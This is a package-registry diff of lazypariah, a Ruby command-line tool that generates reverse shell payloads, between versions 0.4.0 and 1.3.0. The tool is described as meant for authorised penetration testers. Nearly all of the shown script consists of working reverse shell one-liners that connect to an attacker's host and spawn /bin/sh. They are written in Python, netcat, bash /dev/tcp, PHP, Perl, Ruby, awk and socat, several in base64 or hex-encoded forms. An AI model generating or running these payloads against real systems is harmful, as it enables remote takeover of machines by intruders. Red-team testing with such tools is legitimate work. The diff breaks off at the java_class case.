lazypariah 0.4.0 → 1.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. checksums.yaml +4 -4
  2. data/bin/lazypariah +279 -115
  3. metadata +5 -5
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: a3aee611f4d7a3d19d4c7816eee540e7a2d0e04523e565719158e78fe365a026
4
- data.tar.gz: 7f63871c91c193144da7182a32eabd9c401561deb8fbf1c6678ceb953a8d9a37
3
+ metadata.gz: e56943a8844277739dcb5295fc717735adfbc10fe1408f37966e96cb0c8e3d7f
4
+ data.tar.gz: 97641d710be3eef0aa977131778df5a89266cd012dcb5b608b19369ff59e74cf
5
5
  SHA512:
6
- metadata.gz: f049e7ff4764242aab6cee06bb8b9e314061d751241260e66045465e4dd38c926fe483886b7513c684d0ee9b26c8bb12d039f5f6ab8831b313856f7d431beb91
7
- data.tar.gz: 48c488ee7a6776f336d7e806bcb914645ab04cc56cc0adda1c9aaeec70999b0f2b94ed30f7818c4e67d74bb5638b113889e3c938bd45d80c91932ddfb89a1a93
6
+ metadata.gz: 305bb9f92a1084f7dab85fcd0cea48d95540b885554d4b773ba455b4d672c44b73f2b89d3a8b7f5243ce43ba69adafbebcd18e64ed9fc6118fe6b6ecae0bf5f7
7
+ data.tar.gz: b4dceeef707c2100d8ef2bf36eecebe35cce7300d565c1fada02eec78057e2d2d793784cf7c143a885089ac42ddcdec59eb151c3b6f9ea85991339ec78787bfe
data/bin/lazypariah CHANGED
@@ -1,13 +1,13 @@
1
1
  #!/usr/bin/env ruby
2
2
  #
3
3
  # Title: LAZYPARIAH
4
- # Version: 0.4.0
4
+ # Version: 1.3.0
5
5
  # Description:
6
6
  # LAZYPARIAH is a simple tool for generating various reverse shell payloads
7
7
  # on the fly. It is intended to be used only in authorised circumstances by
8
8
  # qualified penetration testers, security researchers and red team professionals.
9
9
  #
10
- # Copyright (C) 2020 Peter Bruce Funnell
10
+ # Copyright (C) 2020-2021 Peter Bruce Funnell
11
11
  #
12
12
  # This program is free software: you can redistribute it and/or modify it under the terms of the GNU
13
13
  # General Public License as published by the Free Software Foundation, either version 3 of the License,
@@ -29,35 +29,22 @@ require "stringio"
29
29
 
30
30
  # Define constants.
31
31
  PROGRAM_NAME = "LAZYPARIAH".freeze()
32
- PROGRAM_VERSION = "0.4.0".freeze()
32
+ PROGRAM_VERSION = "1.3.0".freeze()
33
33
  EXECUTABLE_NAME = "lazypariah".freeze()
34
34
 
35
35
  # Define payload list.
36
36
  PAYLOAD_LIST = [
37
37
  "python",
38
- "python3_c",
39
- "python2_c",
40
38
  "python_c",
41
- "python3_b64",
42
- "python2_b64",
43
39
  "python_b64",
44
- "python3_hex",
45
- "python2_hex",
46
40
  "python_hex",
47
41
  "nc",
48
42
  "nc_pipe",
49
- "php_fd_3",
50
- "php_fd_4",
51
- "php_fd_5",
52
- "php_fd_6",
53
- "php_fd_3_c",
54
- "php_fd_4_c",
55
- "php_fd_5_c",
56
- "php_fd_6_c",
57
- "php_fd_3_tags",
58
- "php_fd_4_tags",
59
- "php_fd_5_tags",
60
- "php_fd_6_tags",
43
+ "php_fd",
44
+ "php_fd_c",
45
+ "php_fd_tags",
46
+ "php_system_python_b64",
47
+ "php_system_python_hex",
61
48
  "perl",
62
49
  "perl_c",
63
50
  "perl_b64",
@@ -69,21 +56,50 @@ PAYLOAD_LIST = [
69
56
  "bash_tcp",
70
57
  "awk",
71
58
  "socat",
72
- "java_class_binary",
73
- "java_class_b64",
74
- "java_class_gzip_b64",
59
+ "java_class",
75
60
  "c_binary",
76
- "c_binary_b64",
77
- "c_binary_hex",
78
- "c_binary_gzip",
79
- "c_binary_gzip_b64",
80
- "c_binary_gzip_hex"
61
+ "rust_binary",
81
62
  ].sort()
82
63
 
64
+ # Define dictionary of payload aliases for backwards compatibility with versions < 1.0.0.
65
+ PAYLOAD_BC_DICT = {
66
+ "php_fd_3"=>{"payload"=>"php_fd", "fd"=>"3"},
67
+ "php_fd_4"=>{"payload"=>"php_fd", "fd"=>"4"},
68
+ "php_fd_5"=>{"payload"=>"php_fd", "fd"=>"5"},
69
+ "php_fd_6"=>{"payload"=>"php_fd", "fd"=>"6"},
70
+ "php_fd_3_c"=>{"payload"=>"php_fd_c", "fd"=>"3"},
71
+ "php_fd_4_c"=>{"payload"=>"php_fd_c", "fd"=>"4"},
72
+ "php_fd_5_c"=>{"payload"=>"php_fd_c", "fd"=>"5"},
73
+ "php_fd_6_c"=>{"payload"=>"php_fd_c", "fd"=>"6"},
74
+ "php_fd_3_tags"=>{"payload"=>"php_fd_tags", "fd"=>"3"},
75
+ "php_fd_4_tags"=>{"payload"=>"php_fd_tags", "fd"=>"4"},
76
+ "php_fd_5_tags"=>{"payload"=>"php_fd_tags", "fd"=>"5"},
77
+ "php_fd_6_tags"=>{"payload"=>"php_fd_tags", "fd"=>"6"},
78
+ "python3_c"=>{"payload"=>"python_c", "pv"=>"3"},
79
+ "python2_c"=>{"payload"=>"python_c", "pv"=>"2"},
80
+ "python3_b64"=>{"payload"=>"python_b64", "pv"=>"3"},
81
+ "python2_b64"=>{"payload"=>"python_b64", "pv"=>"2"},
82
+ "python3_hex"=>{"payload"=>"python_hex", "pv"=>"3"},
83
+ "python2_hex"=>{"payload"=>"python_hex", "pv"=>"2"},
84
+ "c_binary_b64"=>{"payload"=>"c_binary", "b64"=>true},
85
+ "c_binary_hex"=>{"payload"=>"c_binary", "hex"=>true},
86
+ "c_binary_gzip"=>{"payload"=>"c_binary", "gzip"=>true},
87
+ "c_binary_gzip_b64"=>{"payload"=>"c_binary", "gzip_b64"=>true},
88
+ "c_binary_gzip_hex"=>{"payload"=>"c_binary", "gzip_hex"=>true},
89
+ "rust_binary_b64"=>{"payload"=>"rust_binary", "b64"=>true},
90
+ "rust_binary_hex"=>{"payload"=>"rust_binary", "hex"=>true},
91
+ "rust_binary_gzip"=>{"payload"=>"rust_binary", "gzip"=>true},
92
+ "rust_binary_gzip_b64"=>{"payload"=>"rust_binary", "gzip_b64"=>true},
93
+ "rust_binary_gzip_hex"=>{"payload"=>"rust_binary", "gzip_hex"=>true},
94
+ "java_class_binary"=>{"payload"=>"java_class"},
95
+ "java_class_b64"=>{"payload"=>"java_class", "b64"=>true},
96
+ "java_class_gzip_b64"=>{"payload"=>"java_class", "gzip_b64"=>true}
97
+ }
98
+
83
99
  # Define function for displaying program information.
84
100
  def prog_info(donation_info=true)
85
101
  puts("#{PROGRAM_NAME} #{PROGRAM_VERSION}")
86
- puts("Copyright (C) 2020 Peter Bruce Funnell")
102
+ puts("Copyright (C) 2020-2021 Peter Bruce Funnell")
87
103
  if donation_info
88
104
  puts("\nBTC Donation Address (Author): 3EdoXV1w8H7y7M9ZdpjRC7GPnX4aouy18g")
89
105
  end
@@ -93,8 +109,8 @@ end
93
109
  option_parser = OptionParser.new do |options|
94
110
  options.banner = "\nUsage:\t#{EXECUTABLE_NAME} [OPTIONS] <PAYLOAD TYPE> <ATTACKER HOST> <ATTACKER PORT>\n"
95
111
  options.banner << "Note:\t<ATTACKER HOST> may be an IPv4 address, IPv6 address or hostname.\n\n"
96
- options.banner << "Example:\tlazypariah -u python3_b64 10.10.14.4 1555\n"
97
- options.banner << "Example:\tlazypariah python2_c malicious.local 1337\n\n"
112
+ options.banner << "Example:\tlazypariah -u python_b64 10.10.14.4 1555\n"
113
+ options.banner << "Example:\tlazypariah python_c malicious.local 1337\n\n"
98
114
  options.banner << "Valid Payloads:\n"
99
115
  PAYLOAD_LIST.each do |p|
100
116
  options.banner << "#{" "*4}#{p}\n"
@@ -103,7 +119,15 @@ option_parser = OptionParser.new do |options|
103
119
  options.on("-h", "--help", "Display help text and exit.")
104
120
  options.on("-l", "--license", "Display license information and exit.")
105
121
  options.on("-u", "--url", "URL-encode the payload.")
106
- options.on("-v", "--version", "Display version information and exit.\n\n")
122
+ options.on("-v", "--version", "Display version information and exit.")
123
+ options.on("-D INTEGER", "--fd INTEGER", "Specify the file descriptor used by the target for TCP. Required for certain payloads.")
124
+ options.on("-P INTEGER", "--pv INTEGER", "Specify Python version for payload. Must be either 2 or 3. By default, no version is specified.")
125
+ options.on("-N", "--no-new-line", TrueClass, "Do not append a new-line character to the end of the payload.")
126
+ options.on("--b64", "Encode a c_binary, rust_binary or java_class payload in base-64.")
127
+ options.on("--hex", "Encode a c_binary, rust_binary or java_class payload in hexadecimal.")
128
+ options.on("--gzip", "Compress a c_binary, rust_binary or java_class payload using zlib.")
129
+ options.on("--gzip_b64", "Compress a c_binary, rust_binary or java_class payload using zlib and encode the result in base-64.")
130
+ options.on("--gzip_hex", "Compress a c_binary, rust_binary or java_class payload using zlib and encode the result in hexadecimal.\n\n")
107
131
  end
108
132
 
109
133
  # Define port_check method for strings.
@@ -114,18 +138,22 @@ class String
114
138
  end
115
139
 
116
140
  # Define print_output.
117
- def print_output(s, url_encode=false)
141
+ def print_output(s: "", url_encode: false, new_line: true)
118
142
  if url_encode
119
143
  print(ERB::Util.url_encode(s))
120
144
  else
121
145
  print(s)
122
146
  end
147
+ if new_line
148
+ puts("\n")
149
+ end
123
150
  end
124
151
 
125
152
  # Attempt to parse command line arguments.
126
153
  begin
127
154
  arguments = Hash.new()
128
155
  option_parser.parse!(into: arguments)
156
+
129
157
  if arguments[:version]
130
158
  prog_info(donation_info=false)
131
159
  exit()
@@ -152,7 +180,7 @@ begin
152
180
  puts("\nToo many command line arguments were given to #{PROGRAM_NAME}.\n")
153
181
  puts(option_parser)
154
182
  exit()
155
- elsif not PAYLOAD_LIST.include?(ARGV[0])
183
+ elsif not PAYLOAD_LIST.include?(ARGV[0]) and not PAYLOAD_BC_DICT.include?(ARGV[0])
156
184
  prog_info()
157
185
  puts("\n#{PROGRAM_NAME} did not recognise the specified payload. Please consult the valid list of payloads below.\n")
158
186
  puts(option_parser)
@@ -162,88 +190,139 @@ begin
162
190
  puts("\nThe specified port was invalid. Please specify a port between 0 and 65535 (inclusive).\n\n")
163
191
  else
164
192
  url_encode = arguments[:url] ? true: false
165
- case ARGV[0]
193
+
194
+ # Get TCP file descriptor from command-line argument, if provided. This is required for some payloads (e.g. php_fd).
195
+ tcp_fd = arguments[:"fd"]
196
+ if tcp_fd and not tcp_fd.to_i().to_s() == tcp_fd
197
+ puts("Invalid file descriptor detected. When specifying a file descriptor via the command-line argument \"-D INTEGER\" or \"--fd INTEGER\", that file descriptor must be a valid integer (e.g. 3, 4, 5 or 6).")
198
+ exit()
199
+ end
200
+
201
+ # Get Python version from command-line argument, if provided. This is useful for some payloads (e.g. python_b64).
202
+ python_version = arguments[:"pv"]
203
+ if python_version and ((not python_version.to_i().to_s() == python_version) or (not ["2", "3"].include?(python_version)))
204
+ puts("The Python version specified for the payload was invalid. When specifying a Python version for a payload via the command-line argument \"-P INTEGER\" or \"--pv INTEGER\", that version must be equal to either \"2\" or \"3\".")
205
+ exit()
206
+ end
207
+
208
+ # Parse encoding/compression command-line arguments for binary payloads.
209
+ b64_payload = arguments[:"b64"]
210
+ hex_payload = arguments[:"hex"]
211
+ gzip_payload = arguments[:"gzip"]
212
+ gzip_b64_payload = arguments[:"gzip_b64"]
213
+ gzip_hex_payload = arguments[:"gzip_hex"]
214
+
215
+ # Ensure that only one encoding/compression command-line argument can be used for binary payloads.
216
+ bin_cla_counter = 0
217
+ bin_cla_array = [b64_payload, hex_payload, gzip_payload, gzip_b64_payload, gzip_hex_payload]
218
+ bin_cla_array.each do |a|
219
+ bin_cla_counter += a ? 1 : 0
220
+ end
221
+ if bin_cla_counter > 1
222
+ puts("More than one encoding/compression-related command-line argument was entered. This error arises when e.g. --b64 and --gzip are both used together as separate command-line arguments. If you would like to use zlib to compress a binary payload such as c_binary or java_class and encode the result in base-64, use --gzip_b64. Only one encoding/compression-related command-line argument may be used.")
223
+ exit()
224
+ end
225
+
226
+ # Parse payload, applying aliases for backwards compatibility with versions < 1.0.0.
227
+ if PAYLOAD_BC_DICT.include?(ARGV[0])
228
+ bc_dict = PAYLOAD_BC_DICT[ARGV[0]]
229
+ selected_payload = bc_dict["payload"]
230
+ tcp_fd = bc_dict["fd"]
231
+ python_version = bc_dict["pv"]
232
+ b64_payload = bc_dict["b64"]
233
+ hex_payload = bc_dict["hex"]
234
+ gzip_payload = bc_dict["gzip"]
235
+ gzip_b64_payload = bc_dict["gzip_b64"]
236
+ gzip_hex_payload = bc_dict["gzip_hex"]
237
+ else
238
+ selected_payload = ARGV[0]
239
+ end
240
+
241
+ case selected_payload
166
242
  when "python"
167
- print_output("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);", url_encode=url_encode)
168
- when "python3_c"
169
- print_output("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", url_encode=url_encode)
170
- when "python2_c"
171
- print_output("python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", url_encode=url_encode)
243
+ # Python reverse shell.
244
+ print_output(s: "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
172
245
  when "python_c"
173
- print_output("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", url_encode=url_encode)
174
- when "python3_b64"
175
- code = Base64.strict_encode64("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);")
176
- print_output("echo #{code} | base64 -d | python3", url_encode=url_encode)
177
- when "python3_hex"
178
- code = "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);".unpack("H*")[0]
179
- print_output("echo #{code} | xxd -p -r - | python3", url_encode=url_encode)
180
- when "python2_b64"
181
- code = Base64.strict_encode64("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);")
182
- print_output("echo #{code} | base64 -d | python2", url_encode=url_encode)
183
- when "python2_hex"
184
- code = "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);".unpack("H*")[0]
185
- print_output("echo #{code} | xxd -p -r - | python2", url_encode=url_encode)
246
+ # Python reverse shell (intended to be run as a command from a shell session).
247
+ print_output(s: "python#{python_version} -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
186
248
  when "python_b64"
249
+ # Base-64-encoded Python reverse shell (intended to be run as a command from a shell session).
187
250
  code = Base64.strict_encode64("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);")
188
- print_output("echo #{code} | base64 -d | python", url_encode=url_encode)
251
+ print_output(s: "echo #{code} | base64 -d | python#{python_version}", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
189
252
  when "python_hex"
253
+ # Hex-encoded Python reverse shell (intended to be run as a command from a shell session).
190
254
  code = "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);".unpack("H*")[0]
191
- print_output("echo #{code} | xxd -p -r - | python", url_encode=url_encode)
255
+ print_output(s: "echo #{code} | xxd -p -r - | python#{python_version}", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
256
+ when "php_system_python_b64"
257
+ # Hybrid shell: python_b64 payload contained within a system function in a miniature PHP script.
258
+ python_code = Base64.strict_encode64("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);")
259
+ print_output(s: "<?php system(\"echo #{python_code} | base64 -d | python#{python_version}\"); ?>", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
260
+ when "php_system_python_hex"
261
+ # Hybrid shell: python_hex payload contained within a system function in a miniature PHP script.
262
+ python_code = "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);".unpack("H*")[0]
263
+ print_output(s: "<?php system(\"echo #{python_code} | xxd -p -r - | python#{python_version}\"); ?>", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
192
264
  when "nc"
193
- print_output("nc -e /bin/sh #{ARGV[1]} #{ARGV[2]}", url_encode=url_encode)
265
+ # Netcat reverse shell.
266
+ print_output(s: "nc -e /bin/sh #{ARGV[1]} #{ARGV[2]}", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
194
267
  when "nc_pipe"
195
- print_output("/bin/sh | nc #{ARGV[1]} #{ARGV[2]}", url_encode=url_encode)
196
- when "php_fd_3"
197
- print_output("$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&3 >&3 2>&3\");", url_encode=url_encode)
198
- when "php_fd_4"
199
- print_output("$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&4 >&4 2>&4\");", url_encode=url_encode)
200
- when "php_fd_5"
201
- print_output("$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&5 >&5 2>&5\");", url_encode=url_encode)
202
- when "php_fd_6"
203
- print_output("$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&6 >&6 2>&6\");", url_encode=url_encode)
204
- when "php_fd_3_c"
205
- print_output("php -r '$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&3 >&3 2>&3\");'", url_encode=url_encode)
206
- when "php_fd_4_c"
207
- print_output("php -r '$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&4 >&4 2>&4\");'", url_encode=url_encode)
208
- when "php_fd_5_c"
209
- print_output("php -r '$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&5 >&5 2>&5\");'", url_encode=url_encode)
210
- when "php_fd_6_c"
211
- print_output("php -r '$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&6 >&6 2>&6\");'", url_encode=url_encode)
212
- when "php_fd_3_tags"
213
- print_output("<?php $sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&3 >&3 2>&3\");?>", url_encode=url_encode)
214
- when "php_fd_4_tags"
215
- print_output("<?php $sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&4 >&4 2>&4\");?>", url_encode=url_encode)
216
- when "php_fd_5_tags"
217
- print_output("<?php $sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&5 >&5 2>&5\");?>", url_encode=url_encode)
218
- when "php_fd_6_tags"
219
- print_output("<?php $sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&6 >&6 2>&6\");?>", url_encode=url_encode)
268
+ # Alternative netcat reverse shell (using a pipe).
269
+ print_output(s: "/bin/sh | nc #{ARGV[1]} #{ARGV[2]}", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
270
+ when "php_fd", "php_fd_c", "php_fd_tags"
271
+ # PHP reverse shells targeting a particular file descriptor (FD).
272
+ if not tcp_fd
273
+ puts("The payload you have selected requires a file descriptor to be specified. Please specify the file descriptor used by the target for TCP via the command-line argument \"-D NUMBER\" or \"--fd NUMBER\".")
274
+ else
275
+ case selected_payload
276
+ when "php_fd"
277
+ # Basic PHP reverse shell (without PHP tags).
278
+ print_output(s: "$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&#{tcp_fd} >&#{tcp_fd} 2>&#{tcp_fd}\");", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
279
+ when "php_fd_c"
280
+ # Basic PHP reverse shell (intended to be run as a command from a shell session).
281
+ print_output(s: "php -r '$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&#{tcp_fd} >&#{tcp_fd} 2>&#{tcp_fd}\");'", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
282
+ when "php_fd_tags"
283
+ # Basic PHP reverse shell (with PHP tags).
284
+ print_output(s: "<?php $sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&#{tcp_fd} >&#{tcp_fd} 2>&#{tcp_fd}\");?>", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
285
+ end
286
+ end
220
287
  when "perl"
221
- print_output("use Socket;$i=\"#{ARGV[1]}\";$p=#{ARGV[2]};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};", url_encode=url_encode)
288
+ # Perl reverse shell.
289
+ print_output(s: "use Socket;$i=\"#{ARGV[1]}\";$p=#{ARGV[2]};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
222
290
  when "perl_c"
223
- print_output("perl -e 'use Socket;$i=\"#{ARGV[1]}\";$p=#{ARGV[2]};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'", url_encode=url_encode)
291
+ # Perl reverse shell (intended to be run as a command from a shell session).
292
+ print_output(s: "perl -e 'use Socket;$i=\"#{ARGV[1]}\";$p=#{ARGV[2]};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
224
293
  when "perl_b64"
294
+ # Base-64-encoded Perl reverse shell (intended to be run as a command from a shell session).
225
295
  code = Base64.strict_encode64("use Socket;$i=\"#{ARGV[1]}\";$p=#{ARGV[2]};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};")
226
- print_output("echo #{code} | base64 -d | perl", url_encode=url_encode)
296
+ print_output(s: "echo #{code} | base64 -d | perl", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
227
297
  when "perl_hex"
298
+ # Hex-encoded Perl reverse shell (intended to be run as a command from a shell session).
228
299
  code = "use Socket;$i=\"#{ARGV[1]}\";$p=#{ARGV[2]};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};".unpack("H*")[0]
229
- print_output("echo #{code} | xxd -p -r - | perl", url_encode=url_encode)
300
+ print_output(s: "echo #{code} | xxd -p -r - | perl", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
230
301
  when "ruby"
231
- print_output("require \"socket\";exit if fork;c=TCPSocket.new(\"#{ARGV[1]}\",\"#{ARGV[2]}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end", url_encode=url_encode)
302
+ # Ruby reverse shell.
303
+ print_output(s: "require \"socket\";exit if fork;c=TCPSocket.new(\"#{ARGV[1]}\",\"#{ARGV[2]}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
232
304
  when "ruby_c"
233
- print_output("ruby -e 'require \"socket\";exit if fork;c=TCPSocket.new(\"#{ARGV[1]}\",\"#{ARGV[2]}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'", url_encode=url_encode)
305
+ # Ruby reverse shell (intended to be run as a command from a shell session).
306
+ print_output(s: "ruby -e 'require \"socket\";exit if fork;c=TCPSocket.new(\"#{ARGV[1]}\",\"#{ARGV[2]}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
234
307
  when "ruby_b64"
308
+ # Base-64-encoded Ruby reverse shell (intended to be run as a command from a shell session).
235
309
  code = Base64.strict_encode64("require \"socket\";exit if fork;c=TCPSocket.new(\"#{ARGV[1]}\",\"#{ARGV[2]}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end")
236
- print_output("echo #{code} | base64 -d | ruby", url_encode=url_encode)
310
+ print_output(s: "echo #{code} | base64 -d | ruby", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
237
311
  when "ruby_hex"
312
+ # Hex-encoded Ruby reverse shell (intended to be run as a command from a shell session).
238
313
  code = "require \"socket\";exit if fork;c=TCPSocket.new(\"#{ARGV[1]}\",\"#{ARGV[2]}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end".unpack("H*")[0]
239
- print_output("echo #{code} | xxd -p -r - | ruby", url_encode=url_encode)
314
+ print_output(s: "echo #{code} | xxd -p -r - | ruby", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
240
315
  when "bash_tcp"
241
- print_output("bash -i >& /dev/tcp/#{ARGV[1]}/#{ARGV[2]} 0>&1", url_encode=url_encode)
316
+ # Bash reverse shell.
317
+ print_output(s: "bash -i >& /dev/tcp/#{ARGV[1]}/#{ARGV[2]} 0>&1", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
242
318
  when "awk"
243
- print_output("awk 'BEGIN {s = \"/inet/tcp/0/#{ARGV[1]}/#{ARGV[2]}\"; while(42) {do {printf \"[Awk Reverse Shell] >> \" |& s; s |& getline c; if (c) {while ((c |& getline) > 0) print $0 |& s; close(c);}} while (c != \"exit\") close(s);}}' /dev/null", url_encode=url_encode)
319
+ # Awk reverse shell.
320
+ print_output(s: "awk 'BEGIN {s = \"/inet/tcp/0/#{ARGV[1]}/#{ARGV[2]}\"; while(42) {do {printf \"[Awk Reverse Shell] >> \" |& s; s |& getline c; if (c) {while ((c |& getline) > 0) print $0 |& s; close(c);}} while (c != \"exit\") close(s);}}' /dev/null", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
244
321
  when "socat"
245
- print_output("socat tcp-connect:#{ARGV[1]}:#{ARGV[2]} system:/bin/sh", url_encode=url_encode)
246
- when "java_class_binary", "java_class_b64", "java_class_gzip_b64"
322
+ # Socat reverse shell.
323
+ print_output(s: "socat tcp-connect:#{ARGV[1]}:#{ARGV[2]} system:/bin/sh", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
324
+ when "java_class"
325
